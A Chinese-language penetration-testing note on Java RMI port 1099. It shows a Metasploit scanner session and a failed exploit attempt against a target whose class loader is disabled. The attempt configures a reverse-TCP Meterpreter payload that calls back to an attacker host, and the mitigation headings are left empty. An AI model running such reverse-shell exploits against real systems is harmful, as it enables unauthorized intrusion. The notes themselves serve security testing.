Java 1099端口RMI exploit

https://null-byte.wonderhowto.com/how-to/exploit-java-remote-method-invocation-get-root-0187685/
https://hackerone.com/reports/163547
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

有时候发现了开放的1099 Java RMI端口，想尝试利用一下，结果发现没有class loader disabled，这样就不存在漏洞了。详情见：
如何避免Java RMI class loader被利用

解决方法：

缓解措施：

扫描

像下面这个例子(扫描)就是不存在漏洞：

msf > use auxiliary/scanner/misc/java_rmi_server
msf auxiliary(scanner/misc/java_rmi_server) > options

Module options (auxiliary/scanner/misc/java_rmi_server):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    1099             yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads

msf auxiliary(scanner/misc/java_rmi_server) > set rhosts 10.a.b.c
rhosts => 10.a.b.c
msf auxiliary(scanner/misc/java_rmi_server) > set threads 16
threads => 16
msf auxiliary(scanner/misc/java_rmi_server) > run

[*] 10.a.b.c:1099      - 10.a.b.c:1099 Java RMI Endpoint Detected: Class Loader Disabled
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/misc/java_rmi_server) >

利用

可想而知，扫描过程就已经检测出不存在漏洞，所以利用一定也不成功。

msf auxiliary(scanner/misc/java_rmi_server) > use exploit/multi/misc/java_rmi_server
msf exploit(multi/misc/java_rmi_server) > set RHOST 10.a.b.c
RHOST => 10.a.b.c
msf exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > set LHOST 192.168.96.129
LHOST => 192.168.96.129
msf exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.96.129:4444 
[*] 10.a.b.c:1099 - Using URL: http://0.0.0.0:8080/Ht4jRXU7Ja8mjD
[*] 10.a.b.c:1099 - Local IP: http://192.168.96.129:8080/Ht4jRXU7Ja8mjD
[*] 10.a.b.c:1099 - Server started.
[*] 10.a.b.c:1099 - Sending RMI Header...
[*] 10.a.b.c:1099 - Sending RMI Call...
[-] 10.a.b.c:1099 - Exploit failed [not-vulnerable]: RuntimeError Exploit aborted due to failure not-vulnerable The RMI class loader is disabled
[*] 10.a.b.c:1099 - Server stopped.
[*] Exploit completed, but no session was created.